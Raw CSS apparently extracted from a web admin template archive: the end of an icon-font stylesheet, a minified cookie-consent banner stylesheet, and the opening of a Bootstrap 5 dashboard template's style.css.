.ti-upload:before{content:"\eb47"}.ti-urgent:before{content:"\eb48"}.ti-user:before{content:"\eb4d"}.ti-user-check:before{content:"\eb49"}.ti-user-exclamation:before{content:"\ec12"}.ti-user-minus:before{content:"\eb4a"}.ti-user-off:before{content:"\ecf9"}.ti-user-plus:before{content:"\eb4b"}.ti-user-x:before{content:"\eb4c"}.ti-users:before{content:"\ebf2"}.ti-vaccine:before{content:"\ef04"}.ti-variable:before{content:"\ef05"}.ti-vector:before{content:"\eca9"}.ti-vector-beizer-2:before{content:"\ed3a"}.ti-vector-bezier:before{content:"\ef1d"}.ti-vector-triangle:before{content:"\eca8"}.ti-venus:before{content:"\ec86"}.ti-versions:before{content:"\ed52"}.ti-video:before{content:"\ed22"}.ti-video-minus:before{content:"\ed1f"}.ti-video-off:before{content:"\ed20"}.ti-video-plus:before{content:"\ed21"}.ti-view-360:before{content:"\ed84"}.ti-viewfinder:before{content:"\eb4e"}.ti-viewport-narrow:before{content:"\ebf3"}.ti-viewport-wide:before{content:"\ebf4"}.ti-virus:before{content:"\eb74"}.ti-virus-off:before{content:"\ed66"}.ti-virus-search:before{content:"\ed67"}.ti-vocabulary:before{content:"\ef1e"}.ti-volume:before{content:"\eb51"}.ti-volume-2:before{content:"\eb4f"}.ti-volume-3:before{content:"\eb50"}.ti-walk:before{content:"\ec87"}.ti-wallet:before{content:"\eb75"}.ti-wand:before{content:"\ebcb"}.ti-wave-saw-tool:before{content:"\ecd3"}.ti-wave-sine:before{content:"\ecd4"}.ti-wave-square:before{content:"\ecd5"}.ti-wifi:before{content:"\eb52"}.ti-wifi-0:before{content:"\eba3"}.ti-wifi-1:before{content:"\eba4"}.ti-wifi-2:before{content:"\eba5"}.ti-wifi-off:before{content:"\ecfa"}.ti-wind:before{content:"\ec34"}.ti-windmill:before{content:"\ed85"}.ti-window:before{content:"\ef06"}.ti-wiper:before{content:"\ecab"}.ti-wiper-wash:before{content:"\ecaa"}.ti-woman:before{content:"\eb53"}.ti-world:before{content:"\eb54"}.ti-world-latitude:before{content:"\ed2e"}.ti-world-longitude:before{content:"\ed2f"}.ti-wrecking-ball:before{content:"\ed97"}.ti-writing:before{content:"\ef08"}.ti-writing-sign:before{content:"\ef07"}.ti-x:before{content:"\eb55"}.ti-yin-yang:before{content:"\ec35"}.ti-zodiac-aquarius:before{content:"\ecac"}.ti-zodiac-aries:before{content:"\ecad"}.ti-zodiac-cancer:before{content:"\ecae"}.ti-zodiac-capricorn:before{content:"\ecaf"}.ti-zodiac-gemini:before{content:"\ecb0"}.ti-zodiac-leo:before{content:"\ecb1"}.ti-zodiac-libra:before{content:"\ecb2"}.ti-zodiac-pisces:before{content:"\ecb3"}.ti-zodiac-sagittarius:before{content:"\ecb4"}.ti-zodiac-scorpio:before{content:"\ecb5"}.ti-zodiac-taurus:before{content:"\ecb6"}.ti-zodiac-virgo:before{content:"\ecb7"}.ti-zoom-cancel:before{content:"\ec4d"}.ti-zoom-check:before{content:"\ef09"}.ti-zoom-in:before{content:"\eb56"}.ti-zoom-money:before{content:"\ef0a"}.ti-zoom-out:before{content:"\eb57"}.ti-zoom-question:before{content:"\edeb"}PKZ?sIsIcss/cookieconsent.cssnu[:root{--cc-bg:#fff;--cc-text:#2d4156;--cc-border-radius:.35em;--cc-btn-primary-bg:#2d4156;--cc-btn-primary-text:var(--cc-bg);--cc-btn-primary-hover-bg:#1d2e38;--cc-btn-secondary-bg:#eaeff2;--cc-btn-secondary-text:var(--cc-text);--cc-btn-secondary-hover-bg:#d8e0e6;--cc-btn-border-radius:4px;--cc-toggle-bg-off:#919ea6;--cc-toggle-bg-on:var(--cc-btn-primary-bg);--cc-toggle-bg-readonly:#d5dee2;--cc-toggle-knob-bg:#fff;--cc-toggle-knob-icon-color:#ecf2fa;--cc-block-text:var(--cc-text);--cc-cookie-category-block-bg:#f0f4f7;--cc-cookie-category-block-bg-hover:#e9eff4;--cc-section-border:#f1f3f5;--cc-cookie-table-border:#e9edf2;--cc-overlay-bg:rgba(4,6,8,.85);--cc-webkit-scrollbar-bg:#cfd5db;--cc-webkit-scrollbar-bg-hover:#9199a0}.c_darkmode{--cc-bg:#181b1d;--cc-text:#d8e5ea;--cc-btn-primary-bg:#a6c4dd;--cc-btn-primary-text:#000;--cc-btn-primary-hover-bg:#c2dff7;--cc-btn-secondary-bg:#33383c;--cc-btn-secondary-text:var(--cc-text);--cc-btn-secondary-hover-bg:#3e454a;--cc-toggle-bg-off:#667481;--cc-toggle-bg-on:var(--cc-btn-primary-bg);--cc-toggle-bg-readonly:#454c54;--cc-toggle-knob-bg:var(--cc-cookie-category-block-bg);--cc-toggle-knob-icon-color:var(--cc-bg);--cc-block-text:#b3bfc5;--cc-cookie-category-block-bg:#23272a;--cc-cookie-category-block-bg-hover:#2b3035;--cc-section-border:#292d31;--cc-cookie-table-border:#2b3035;--cc-webkit-scrollbar-bg:#667481;--cc-webkit-scrollbar-bg-hover:#9199a0}.cc_div *,.cc_div :after,.cc_div :before,.cc_div :hover{animation:none;background:none;border:none;border-radius:unset;box-shadow:none;-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;float:none;font-family:inherit;font-size:1em;font-style:inherit;font-variant:normal;font-weight:inherit;height:auto;letter-spacing:unset;line-height:1.2;margin:0;padding:0;text-align:left;text-decoration:none;text-transform:none;transition:none;vertical-align:baseline;visibility:unset}.cc_div{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;color:#2d4156;color:var(--cc-text);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;font-size:16px;font-weight:400;text-rendering:optimizeLegibility}#c-ttl,#s-bl td:before,#s-ttl,.cc_div .b-tl,.cc_div .c-bn{font-weight:600}#cm,#s-bl .act .b-acc,#s-inr,.cc_div .b-tl,.cc_div .c-bl{border-radius:.35em;border-radius:var(--cc-border-radius)}#s-bl .act .b-acc{border-top-left-radius:0;border-top-right-radius:0}.cc_div a,.cc_div button,.cc_div input{-webkit-appearance:none;-moz-appearance:none;appearance:none;overflow:hidden}.cc_div a{border-bottom:1px solid}.cc_div a:hover{border-color:transparent;text-decoration:none}#cm-ov,#cs-ov,.c--anim #cm,.c--anim #s-cnt,.c--anim #s-inr{transition:visibility .25s linear,opacity .25s ease,transform .25s ease!important}.c--anim .c-bn{transition:background-color .25s ease!important}.c--anim #cm.bar.slide,.c--anim #cm.bar.slide+#cm-ov,.c--anim .bar.slide #s-inr,.c--anim .bar.slide+#cs-ov{transition:visibility .4s ease,opacity .4s ease,transform .4s ease!important}#cm.bar.slide,.cc_div .bar.slide #s-inr{opacity:1;transform:translateX(100%)}#cm.bar.top.slide,.cc_div .bar.left.slide #s-inr{opacity:1;transform:translateX(-100%)}#cm.slide,.cc_div .slide #s-inr{transform:translateY(1.6em)}#cm.top.slide{transform:translateY(-1.6em)}#cm.bar.slide{transform:translateY(100%)}#cm.bar.top.slide{transform:translateY(-100%)}.show--consent .c--anim #cm,.show--consent .c--anim #cm.bar,.show--settings .c--anim #s-inr,.show--settings .c--anim .bar.slide #s-inr{opacity:1;transform:scale(1);visibility:visible!important}.show--consent .c--anim #cm.box.middle,.show--consent .c--anim #cm.cloud.middle{transform:scale(1) translateY(-50%)}.show--settings .c--anim #s-cnt{visibility:visible!important}.force--consent.show--consent .c--anim #cm-ov,.show--settings .c--anim #cs-ov{opacity:1!important;visibility:visible!important}#cm{background:#fff;background:var(--cc-bg);bottom:1.25em;box-shadow:0 .625em 1.875em #000;box-shadow:0 .625em 1.875em rgba(2,2,3,.28);font-family:inherit;line-height:normal;max-width:24.2em;opacity:0;padding:1.1em 1.5em 1.4em;position:fixed;right:1.25em;transform:scale(.95);visibility:hidden;width:100%;z-index:1}#cc_div #cm{display:block!important}#c-ttl{font-size:1.05em;margin-bottom:.7em}.cloud #c-ttl{margin-top:-.15em}#c-txt{font-size:.9em;line-height:1.5em}.cc_div #c-bns{display:flex;justify-content:space-between;margin-top:1.4em}.cc_div .c-bn{background:#eaeff2;background:var(--cc-btn-secondary-bg);border-radius:4px;border-radius:var(--cc-btn-border-radius);color:#2d4156;color:var(--cc-btn-secondary-text);cursor:pointer;display:inline-block;flex:1;font-size:.82em;padding:1em 1.7em;text-align:center;-moz-user-select:none;-khtml-user-select:none;-webkit-user-select:none;-o-user-select:none;user-select:none}#c-bns button+button,#s-c-bn,#s-cnt button+button{float:right;margin-left:1em}#s-cnt #s-rall-bn{float:none}#cm .c_link:active,#cm .c_link:hover,#s-c-bn:active,#s-c-bn:hover,#s-cnt button+button:active,#s-cnt button+button:hover{background:#d8e0e6;background:var(--cc-btn-secondary-hover-bg)}#s-cnt{display:table;height:100%;left:0;position:fixed;top:0;visibility:hidden;width:100%;z-index:101}#s-bl{outline:none}#s-bl .title{margin-top:1.4em}#s-bl .b-bn,#s-bl .title:first-child{margin-top:0}#s-bl .b-acc .p{margin-top:0;padding:1em}#s-cnt .b-bn .b-tl{background:none;display:block;font-family:inherit;font-size:.95em;padding:1.3em 6.4em 1.3em 2.7em;position:relative;transition:background-color .25s ease;width:100%}#s-cnt .b-bn .b-tl.exp{cursor:pointer}#s-cnt .act .b-bn .b-tl{border-bottom-left-radius:0;border-bottom-right-radius:0}#s-cnt .b-bn .b-tl:active,#s-cnt .b-bn .b-tl:hover{background:#e9eff4;background:var(--cc-cookie-category-block-bg-hover)}#s-bl .b-bn{position:relative}#s-bl .c-bl{border:1px solid #f1f3f5;border:1px solid var(--cc-section-border);margin-bottom:.5em;padding:1em;transition:background-color .25s ease}#s-bl .c-bl:hover{background:#f0f4f7;background:var(--cc-cookie-category-block-bg)}#s-bl .c-bl:last-child{margin-bottom:.5em}#s-bl .c-bl:first-child{border:none;margin-bottom:2em;margin-top:0;padding:0;transition:none}#s-bl .c-bl:not(.b-ex):first-child:hover{background:transparent;background:unset}#s-bl .c-bl.b-ex{background:#f0f4f7;background:var(--cc-cookie-category-block-bg);border:none;padding:0;transition:none}#s-bl .c-bl.b-ex+.c-bl{margin-top:2em}#s-bl .c-bl.b-ex+.c-bl.b-ex{margin-top:0}#s-bl .c-bl.b-ex:first-child{margin-bottom:1em;margin-bottom:.5em}#s-bl .b-acc{display:none;margin-bottom:0;max-height:0;overflow:hidden;padding-top:0}#s-bl .act .b-acc{display:block;max-height:100%;overflow:hidden}#s-cnt .p{color:#2d4156;color:var(--cc-block-text);font-size:.9em;line-height:1.5em;margin-top:.85em}.cc_div .b-tg .c-tgl:disabled{cursor:not-allowed}#c-vln{display:table-cell;position:relative;vertical-align:middle}#cs{bottom:0;left:0;padding:0 1.7em;position:fixed;right:0;top:0;width:100%}#cs,#s-inr{height:100%}#s-inr{box-shadow:0 13px 27px -5px rgba(3,6,9,.26);margin:0 auto;max-width:45em;opacity:0;overflow:hidden;padding-bottom:4.75em;padding-top:4.75em;position:relative;transform:scale(.96);visibility:hidden}#s-bns,#s-hdr,#s-inr{background:#fff;background:var(--cc-bg)}#s-bl{display:block;height:100%;overflow-x:hidden;overflow-y:auto;overflow-y:overlay;padding:1.3em 1.8em;width:100%}#s-bns{border-top:1px solid #f1f3f5;border-top:1px solid var(--cc-section-border);bottom:0;height:4.75em;left:0;padding:1em 1.8em;position:absolute;right:0}.cc_div .cc-link{border-bottom:1px solid #2d4156;border-bottom:1px solid var(--cc-btn-primary-bg);color:#2d4156;color:var(--cc-btn-primary-bg);cursor:pointer;display:inline;font-weight:600;padding-bottom:0;text-decoration:none}.cc_div .cc-link:active,.cc_div .cc-link:hover{border-color:transparent}#c-bns button:first-child,#s-bns button:first-child{background:#2d4156;background:var(--cc-btn-primary-bg);color:#fff;color:var(--cc-btn-primary-text)}#c-bns.swap button:first-child{background:#eaeff2;background:var(--cc-btn-secondary-bg);color:#2d4156;color:var(--cc-btn-secondary-text)}#c-bns.swap button:last-child{background:#2d4156;background:var(--cc-btn-primary-bg);color:#fff;color:var(--cc-btn-primary-text)}.cc_div .b-tg .c-tgl:checked~.c-tg{background:#2d4156;background:var(--cc-toggle-bg-on)}#c-bns button:first-child:active,#c-bns button:first-child:hover,#c-bns.swap button:last-child:active,#c-bns.swap button:last-child:hover,#s-bns button:first-child:active,#s-bns button:first-child:hover{background:#1d2e38;background:var(--cc-btn-primary-hover-bg)}#c-bns.swap button:first-child:active,#c-bns.swap button:first-child:hover{background:#d8e0e6;background:var(--cc-btn-secondary-hover-bg)}#s-hdr{border-bottom:1px solid #f1f3f5;border-bottom:1px solid var(--cc-section-border);display:table;height:4.75em;padding:0 1.8em;position:absolute;top:0;width:100%;z-index:2}#s-hdr,#s-ttl{vertical-align:middle}#s-ttl{display:table-cell;font-size:1em}#s-c-bn{font-size:1.45em;font-weight:400;height:1.7em;margin:0;overflow:hidden;padding:0;position:relative;width:1.7em}#s-c-bnc{display:table-cell;vertical-align:middle}.cc_div span.t-lb{opacity:0;overflow:hidden;pointer-events:none;position:absolute;top:0;z-index:-1}#c_policy__text{height:31.25em;margin-top:1.25em;overflow-y:auto}#c-s-in{height:100%;height:calc(100% - 2.5em);max-height:37.5em;position:relative;top:50%;transform:translateY(-50%)}@media screen and (min-width:688px){#s-bl::-webkit-scrollbar{background:transparent;border-radius:0 .25em .25em 0;height:100%;width:.9em}#s-bl::-webkit-scrollbar-thumb{background:#cfd5db;background:var(--cc-webkit-scrollbar-bg);border:.25em solid #fff;border:.25em solid var(--cc-bg);border-radius:100em}#s-bl::-webkit-scrollbar-thumb:hover{background:#9199a0;background:var(--cc-webkit-scrollbar-bg-hover)}#s-bl::-webkit-scrollbar-button{height:5px;width:10px}}.cc_div .b-tg{bottom:0;display:inline-block;margin:auto;right:0;right:1.2em;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle}.cc_div .b-tg,.cc_div .b-tg .c-tgl{cursor:pointer;position:absolute;top:0}.cc_div .b-tg .c-tgl{border:0;display:block;left:0;margin:0}.cc_div .b-tg .c-tg{background:#919ea6;background:var(--cc-toggle-bg-off);pointer-events:none;position:absolute;transition:background-color .25s ease,box-shadow .25s ease}.cc_div .b-tg,.cc_div .b-tg .c-tg,.cc_div .b-tg .c-tgl,.cc_div span.t-lb{border-radius:4em;height:1.5em;width:3.4em}.cc_div .b-tg .c-tg.c-ro{cursor:not-allowed}.cc_div .b-tg .c-tgl~.c-tg.c-ro{background:#d5dee2;background:var(--cc-toggle-bg-readonly)}.cc_div .b-tg .c-tgl~.c-tg.c-ro:after{box-shadow:none}.cc_div .b-tg .c-tg:after{background:#fff;background:var(--cc-toggle-knob-bg);border:none;border-radius:100%;box-shadow:0 1px 2px rgba(24,32,35,.36);box-sizing:content-box;content:"";display:block;height:1.25em;left:.125em;position:relative;top:.125em;transition:transform .25s ease;width:1.25em}.cc_div .b-tg .c-tgl:checked~.c-tg:after{transform:translateX(1.9em)}#s-bl table,#s-bl td,#s-bl th{border:none}#s-bl tbody tr{transition:background-color .25s ease}#s-bl tbody tr:hover{background:#e9eff4;background:var(--cc-cookie-category-block-bg-hover)}#s-bl table{border-collapse:collapse;margin:0;overflow:hidden;padding:0;text-align:left;width:100%}#s-bl td,#s-bl th{font-size:.8em;padding:.8em .625em .8em 1.2em;text-align:left;vertical-align:top}#s-bl th{font-family:inherit;padding:1.2em}#s-bl thead tr:first-child{border-bottom:1px solid #e9edf2;border-bottom:1px solid var(--cc-cookie-table-border)}.force--consent #cs,.force--consent #s-cnt{width:100vw}#cm-ov,#cs-ov{background:#070707;background:rgba(4,6,8,.85);background:var(--cc-overlay-bg);bottom:0;display:none;left:0;opacity:0;position:fixed;right:0;top:0;transition:none;visibility:hidden}.c--anim #cs-ov,.force--consent .c--anim #cm-ov,.force--consent.show--consent #cm-ov,.show--settings #cs-ov{display:block}#cs-ov{z-index:2}.force--consent .cc_div{bottom:0;left:0;position:fixed;top:0;transition:visibility .25s linear;visibility:hidden;width:100%;width:100vw}.force--consent.show--consent .c--anim .cc_div,.force--consent.show--settings .c--anim .cc_div{visibility:visible}.force--consent #cm{position:absolute}.force--consent #cm.bar{max-width:100vw;width:100vw}html.force--consent.show--consent{overflow-y:hidden!important}html.force--consent.show--consent,html.force--consent.show--consent body{height:auto!important;overflow-x:hidden!important}.cc_div .act .b-bn .exp:before,.cc_div .b-bn .exp:before{border:solid #2d4156;border:solid var(--cc-btn-secondary-text);border-width:0 2px 2px 0;content:"";display:inline-block;left:1.2em;margin-right:15px;padding:.2em;position:absolute;top:50%;transform:translateY(-50%) rotate(45deg)}.cc_div .act .b-bn .b-tl:before{transform:translateY(-20%) rotate(225deg)}.cc_div .on-i:before{border:solid #ecf2fa;border:solid var(--cc-toggle-knob-icon-color);border-width:0 2px 2px 0;display:inline-block;left:.75em;padding:.1em .1em .45em;top:.37em}#s-c-bn:after,#s-c-bn:before,.cc_div .on-i:before{content:"";margin:0 auto;position:absolute;transform:rotate(45deg)}#s-c-bn:after,#s-c-bn:before{background:#2d4156;background:var(--cc-btn-secondary-text);border-radius:1em;height:.6em;left:.82em;top:.58em;width:1.5px}#s-c-bn:after{transform:rotate(-45deg)}.cc_div .off-i,.cc_div .on-i{display:block;height:100%;position:absolute;right:0;text-align:center;transition:opacity .15s ease;width:50%}.cc_div .on-i{left:0;opacity:0}.cc_div .off-i:after,.cc_div .off-i:before{background:#ecf2fa;background:var(--cc-toggle-knob-icon-color);content:" ";display:block;height:.7em;margin:0 auto;position:absolute;right:.8em;top:.42em;transform-origin:center;width:.09375em}.cc_div .off-i:before{transform:rotate(45deg)}.cc_div .off-i:after{transform:rotate(-45deg)}.cc_div .b-tg .c-tgl:checked~.c-tg .on-i{opacity:1}.cc_div .b-tg .c-tgl:checked~.c-tg .off-i{opacity:0}#cm.box.middle,#cm.cloud.middle{bottom:auto;top:50%;transform:translateY(-37%)}#cm.box.middle.zoom,#cm.cloud.middle.zoom{transform:scale(.95) translateY(-50%)}#cm.box.center,#cm.cloud{left:1em;margin:0 auto;right:1em}#cm.cloud{max-width:50em;overflow:hidden;padding:1.3em 2em;text-align:center;width:unset}.cc_div .cloud #c-inr{display:table;width:100%}.cc_div .cloud #c-inr-i{display:table-cell;padding-right:2.4em;vertical-align:top;width:70%}.cc_div .cloud #c-txt{font-size:.85em}.cc_div .cloud #c-bns{display:table-cell;min-width:170px;vertical-align:middle}#cm.cloud .c-bn{margin:.625em 0 0;width:100%}#cm.cloud .c-bn:first-child{margin:0}#cm.cloud.left{margin-right:1.25em}#cm.cloud.right{margin-left:1.25em}#cm.bar{border-radius:0;bottom:0;left:0;max-width:100%;padding:2em;position:fixed;right:0;width:100%}#cm.bar #c-inr{margin:0 auto;max-width:32em}#cm.bar #c-bns{max-width:33.75em}#cm.bar #cs{padding:0}.cc_div .bar #c-s-in{height:100%;max-height:100%;top:0;transform:none}.cc_div .bar #s-bl,.cc_div .bar #s-bns,.cc_div .bar #s-hdr{padding-left:1.6em;padding-right:1.6em}.cc_div .bar #cs{padding:0}.cc_div .bar #s-inr{border-radius:0;margin:0 0 0 auto;max-width:32em}.cc_div .bar.left #s-inr{margin-left:0;margin-right:auto}.cc_div .bar #s-bl table,.cc_div .bar #s-bl tbody,.cc_div .bar #s-bl td,.cc_div .bar #s-bl th,.cc_div .bar #s-bl thead,.cc_div .bar #s-bl tr,.cc_div .bar #s-cnt{display:block}.cc_div .bar #s-bl thead tr{left:-9999px;position:absolute;top:-9999px}.cc_div .bar #s-bl tr{border-top:1px solid #e9edf2;border-top:1px solid var(--cc-cookie-table-border)}.cc_div .bar #s-bl td{border:none;padding-left:35%;position:relative}.cc_div .bar #s-bl td:before{color:#2d4156;color:var(--cc-text);content:attr(data-column);left:1em;overflow:hidden;padding-right:.625em;position:absolute;text-overflow:ellipsis;white-space:nowrap}#cm.top{bottom:auto;top:1.25em}#cm.left{left:1.25em;right:auto}#cm.right{left:auto;right:1.25em}#cm.bar.left,#cm.bar.right{left:0;right:0}#cm.bar.top{top:0}@media screen and (max-width:688px){#cm,#cm.cloud,#cm.left,#cm.right{bottom:1em;display:block;left:1em;margin:0;max-width:100%;padding:1.4em!important;right:1em;width:auto}.force--consent #cm,.force--consent #cm.cloud{max-width:100vw;width:auto}#cm.top{bottom:auto;top:1em}#cm.bottom{bottom:1em;top:auto}#cm.bar.bottom{bottom:0}#cm.cloud .c-bn{font-size:.85em}#s-bns,.cc_div .bar #s-bns{padding:1em 1.3em}.cc_div .bar #s-inr{max-width:100%;width:100%}.cc_div .cloud #c-inr-i{padding-right:0}#cs{border-radius:0;padding:0}#c-s-in{height:100%;max-height:100%;top:0;transform:none}.cc_div .b-tg{right:1.1em;transform:scale(1.1)}#s-inr{border-radius:0;margin:0;padding-bottom:7.9em}#s-bns{height:7.9em}#s-bl,.cc_div .bar #s-bl{padding:1.3em}#s-hdr,.cc_div .bar #s-hdr{padding:0 1.3em}#s-bl table{width:100%}#s-inr.bns-t{padding-bottom:10.5em}.bns-t #s-bns{height:10.5em}.cc_div .bns-t .c-bn{font-size:.83em;padding:.9em 1.6em}#s-cnt .b-bn .b-tl{padding-bottom:1.2em;padding-top:1.2em}#s-bl table,#s-bl tbody,#s-bl td,#s-bl th,#s-bl thead,#s-bl tr,#s-cnt{display:block}#s-bl thead tr{left:-9999px;position:absolute;top:-9999px}#s-bl tr{border-top:1px solid #e9edf2;border-top:1px solid var(--cc-cookie-table-border)}#s-bl td{border:none;padding-left:35%;position:relative}#s-bl td:before{color:#2d4156;color:var(--cc-text);content:attr(data-column);left:1em;overflow:hidden;padding-right:.625em;position:absolute;text-overflow:ellipsis;white-space:nowrap}#cm .c-bn,.cc_div .c-bn{margin-right:0;width:100%}#s-cnt #s-rall-bn{margin-left:0}.cc_div #c-bns{flex-direction:column}#c-bns button+button,#s-cnt button+button{float:unset;margin-left:0;margin-top:.625em}#cm.box,#cm.cloud{left:1em;right:1em;width:auto}#cm.cloud.left,#cm.cloud.right{margin:0}.cc_div .cloud #c-bns,.cc_div .cloud #c-inr,.cc_div .cloud #c-inr-i{display:block;min-width:unset;width:auto}.cc_div .cloud #c-txt{font-size:.9em}.cc_div .cloud #c-bns{margin-top:1.625em}}.cc_div.ie #c-vln{height:100%;padding-top:5.62em}.cc_div.ie .bar #c-vln{padding-top:0}.cc_div.ie #cs{margin-top:-5.625em;max-height:37.5em;position:relative;top:0}.cc_div.ie .bar #cs{margin-top:0;max-height:100%}.cc_div.ie #cm{border:1px solid #dee6e9}.cc_div.ie #c-s-in{top:0}.cc_div.ie .b-tg{margin-bottom:.7em;padding-left:1em}.cc_div.ie .b-tg .c-tgl:checked~.c-tg:after{left:1.95em}.cc_div.ie #s-bl table{overflow:auto}.cc_div.ie .b-tg .c-tg{display:none}.cc_div.ie .b-tg .c-tgl{display:inline-block;height:auto;margin-bottom:.2em;position:relative;vertical-align:middle}.cc_div.ie #s-cnt .b-bn .b-tl{padding:1.3em 6.4em 1.3em 1.4em}.cc_div.ie .bar #s-bl td:before{display:none}.cc_div.ie .bar #s-bl td{padding:.8em .625em .8em 1.2em}.cc_div.ie .bar #s-bl thead tr{position:relative}.cc_div.ie .b-tg .t-lb{filter:alpha(opacity=0)}.cc_div.ie #cm-ov,.cc_div.ie #cs-ov{filter:alpha(opacity=80)}PKZd  css/style.cssnu[@charset "UTF-8"; /**====================================================================== ========================================================================= Template Name: Dashboard Bootstrap 5 Admin Template Author: Rajodiya Infotech Support: [support link] File: style.css ========================================================================= =================================================================================== */ /*! * Bootstrap v5.2.3 (https://getbootstrap.com/) * Copyright 2011-2022 The Bootstrap Authors * Copyright 2011-2022 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */ @import url("https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;500;600;700&display=swap"); :root { --bs-blue: #51459d; --bs-indigo: #6610f2; --bs-purple: #6f42c1; --bs-pink: #e83e8c; --bs-red: #ff3a6e; --bs-orange: #fd7e14; --bs-yellow: #ffa21d; --bs-green: #6fd943; --bs-teal: #20c997; --bs-cyan: #3ec9d6; --bs-white: #ffffff; --bs-gray: #6c757d; --bs-gray-dark: #343a40; --bs-gray-100: #f8f9fa; --bs-gray-200: #e9ecef; --bs-gray-300: #dee2e6; --bs-gray-400: #ced4da; --bs-gray-500: #adb5bd; --bs-gray-600: #6c757d; --bs-gray-700: #495057; --bs-gray-800: #343a40; --bs-gray-900: #212529; --bs-primary: #51459d; --bs-secondary: #6c757d; --bs-success: #6fd943; --bs-info: #3ec9d6; --bs-warning: #ffa21d; --bs-danger: #ff3a6e; --bs-light: #f8f9fa; --bs-dark: #1c232f; --bs-primary-rgb: 81, 69, 157; --bs-secondary-rgb: 108, 117, 125; --bs-success-rgb: 111, 217, 67; --bs-info-rgb: 62, 201, 214; --bs-warning-rgb: 255, 162, 29; --bs-danger-rgb: 255, 58, 110; --bs-light-rgb: 248, 249, 250; --bs-dark-rgb: 28, 35, 47; --bs-white-rgb: 255, 255, 255; --bs-black-rgb: 0, 0, 0; --bs-body-color-rgb: 41, 50, 64; --bs-body-bg-rgb: 248, 249, 253; --bs-font-sans-serif: "Open Sans", sans-serif; --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0)); --bs-body-font-family: var(--bs-font-sans-serif); --bs-body-font-size: 0.875rem; --bs-body-font-weight: 400; --bs-body-line-height: 1.5; --bs-body-color: #293240; --bs-body-bg: #f8f9fd; --bs-border-width: 1px; --bs-border-style: solid; --bs-border-color: #f1f1f1; --bs-border-color-translucent: rgba(0, 0, 0, 0.175); --bs-border-radius: 10px; --bs-border-radius-sm: 8px; --bs-border-radius-lg: 15px; --bs-border-radius-xl: 1rem; --bs-border-radius-2xl: 2rem; --bs-border-radius-pill: 50rem; --bs-link-color: #51459d; --bs-link-hover-color: #51459d; --bs-code-color: #e83e8c; --bs-highlight-bg: #fcf8e3; } *, *::before, *::after { box-sizing: border-box; } @media (prefers-reduced-motion: no-preference) { :root { scroll-behavior: smooth; } } body { margin: 0; font-family: var(--bs-body-font-family); font-size: var(--bs-body-font-size); font-weight: var(--bs-body-font-weight); line-height: var(--bs-body-line-height); color: var(--bs-body-color); text-align: var(--bs-body-text-align); background-color: var(--bs-body-bg); -webkit-text-size-adjust: 100%; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } hr { margin: 1rem 0; color: #f1f1f1; border: 0; border-top: 1px solid; opacity: 1; } h1, .h1, h2, .h2, h3, .h3, h4, .h4, h5, .h5, h6, .h6 { margin-top: 0; margin-bottom: 0.5rem; font-weight: 600; line-height: 1.2; color: #060606; } h1, .h1 { font-size: calc(1.35rem + 1.2vw); } @media (min-width: 1200px) { h1, .h1 { font-size: 2.25rem; } } h2, .h2 { font-size: calc(1.3rem + 0.6vw); } @media (min-width: 1200px) { h2, .h2 { font-size: 1.75rem; } } h3, .h3 { font-size: calc(1.275rem + 0.3vw); } @media (min-width: 1200px) { h3, .h3 { font-size: 1.5rem; } } h4, .h4 { font-size: 1.25rem; } h5, .h5 { font-size: 1rem; } h6, .h6 { font-size: 0.9375rem; } p { margin-top: 0; margin-bottom: 1rem; } abbr[title] { -webkit-text-decoration: underline dotted; text-decoration: underline dotted; cursor: help; -webkit-text-decoration-skip-ink: none; text-decoration-skip-ink: none; } address { margin-bottom: 1rem; font-style: normal; line-height: inherit; } ol, ul { padding-left: 2rem; } ol, ul, dl { margin-top: 0; margin-bottom: 1rem; } ol ol, ul ul, ol ul, ul ol { margin-bottom: 0; } dt { font-weight: 700; } dd { margin-bottom: .5rem; margin-left: 0; } blockquote { margin: 0 0 1rem; } b, strong { font-weight: bolder; } small, .small { font-size: 80%; } mark, .mark { padding: 0.2em; background-color: var(--bs-highlight-bg); } sub, sup { position: relative; font-size: 0.75em; line-height: 0; vertical-align: baseline; } sub { bottom: -.25em; } sup { top: -.5em; } a { color: var(--bs-link-color); text-decoration: none; } a:hover { color: var(--bs-link-hover-color); text-decoration: underline; } a:not([href]):not([class]), a:not([href]):not([class]):hover { color: inherit; text-decoration: none; } pre, code, kbd, samp { font-family: var(--bs-font-monospace); font-size: 1em; } pre { display: block; margin-top: 0; margin-bottom: 1rem; overflow: auto; font-size: 87.5%; } pre code { font-size: inherit; color: inherit; word-break: normal; } code { font-size: 87.5%; color: var(--bs-code-color); word-wrap: break-word; } a > code { color: inherit; } kbd { padding: 0.2rem 0.4rem; font-size: 87.5%; color: #ffffff; background-color: #212529; border-radius: 8px; } kbd kbd { padding: 0; font-size: 1em; font-weight: 700; } figure { margin: 0 0 1rem; } img, svg { vertical-align: middle; } table { caption-side: bottom; border-collapse: collapse; } caption { padding-top: 0.9rem; padding-bottom: 0.9rem; color: #6c757d; text-align: left; } th { text-align: inherit; text-align: -webkit-match-parent; } thead, tbody, tfoot, tr, td, th { border-color: inherit; border-style: solid; border-width: 0; } label { display: inline-block; } button { border-radius: 0; } button:focus:not(:focus-visible) { outline: 0; } input, button, select, optgroup, textarea { margin: 0; font-family: inherit; font-size: inherit; line-height: inherit; } button, select { text-transform: none; } [role="button"] { cursor: pointer; } select { word-wrap: normal; } select:disabled { opacity: 1; } [list]:not([type="date"]):not([type="datetime-local"]):not([type="month"]):not([type="week"]):not([type="time"])::-webkit-calendar-picker-indicator { display: none !important; } button, [type="button"], [type="reset"], [type="submit"] { -webkit-appearance: button; } button:not(:disabled), [type="button"]:not(:disabled), [type="reset"]:not(:disabled), [type="submit"]:not(:disabled) { cursor: pointer; } ::-moz-focus-inner { padding: 0; border-style: none; } textarea { resize: vertical; } fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } legend { float: left; width: 100%; padding: 0; 